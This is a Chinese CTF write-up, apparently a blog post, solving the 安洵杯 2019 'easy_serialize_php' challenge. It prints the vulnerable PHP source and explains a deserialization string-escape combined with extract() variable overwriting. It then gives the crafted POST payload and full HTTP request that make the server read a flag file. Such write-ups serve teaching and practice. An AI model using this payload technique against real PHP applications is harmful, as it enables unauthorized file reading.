[安洵杯 2019]easy_serialize_php

0x00 前言

题目很直接放出了源码
白盒审计相对是比较轻松的一种
知识点涉及:
1.反序列化逃逸
2.变量覆盖

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));

意思phpinfo里会有hint
我一开始直接Ctrl+F flag没翻到
原来是f1ag
在这里插入图片描述

0x01 brain.md

理一下思路
最后一定是file_get_contents读取flag文件
显然不能直接以get方式传参(会对base64编码进行sha1散列计算)
那么必须通过user和function两个变量进行改动从而间接造成img变量的更改
(小伏笔为什么一定要两个变量)


if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

echo file_get_contents(base64_decode($userinfo['img']));

替换前后分别var_dump一下便于我们观察
先POST: _SESSION[user]=flagflag试一下
在这里插入图片描述
在这里插入图片描述

可以看到虽然user变量的flag都被替换了,但是字符串长度s:8依旧不变
那么下次反序列化时,user变量会向后找8个字符来充当自己的值
也就是这一串

";s:3:"i

在这里插入图片描述
那么当被替换的字符串长度足够时,我们可以自己设计参数达到自行闭合user变量的效果,并且能够自行构造下一个连续参数的值

那么只用一个变量可行吗?

答案显然是不行的
eg:
直接再一个变量user中进行构造
由于序列化后变量user字符串的长度永远等于我们payload的长度,所以无法闭合user变量

在这里插入图片描述
所以此处我们需要用到下一个连续变量:function

步骤
  1. 先在user中填充字符串flag达到腾出空间的效果,以此来"吃掉"后面的序列化格式
  2. 然后构造下一个连续变量function,闭合user变量,并对function变量和img变量手动赋值并序列化(此处对function变量赋值是为了反序列化时正常)
  3. 在对img变量进行构造时,我们在末尾加上;} 就人为的提前结束反序列化过程
  4. 通过extract对function变量进行覆盖

本地先试
传个参数SESSION[function]=1方便看一下
在这里插入图片描述

我们的目的是把后面的格式

;s:8:"function";s:1:"1

给吃掉
如果这一串能被当作变量user的字符串 后面的 "; 就能刚好闭合user变量了
按照上面的思路先对function进行初步赋值
user变量的flag个数可以根据后续我们的需要再进行调节

_SESSION[user]=flagflagflagflagflag&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

一开始只腾了20个字符
可以看到要想达成我们的效果闭合user得腾出23个字符的空间
那么我们在原先的user变量(5个flag)再添加一个php

";s:8:"function";s:64:"

在这里插入图片描述
本地成功
在这里插入图片描述

POST /index.php HTTP/1.1
Host: 8b4ead95-d1ac-4cf0-9b48-04b3b09efa89.node4.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.99 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: UM_distinctid=17d55cd820725e-095a0242feb31e-2343360-295d29-17d55cd8208e92
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}&function=show_image

在这里插入图片描述
更改一下img变量里的内容即可
因为两次base64编码后的长度相同,所以别的也不用做更改
在这里插入图片描述
参考文章

https://blog.csdn.net/qq_45521281/article/details/107135706#0CTF_2016piapiapia_55

0x02 rethink

日常刷题… 和同龄师傅相比倍感差距

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值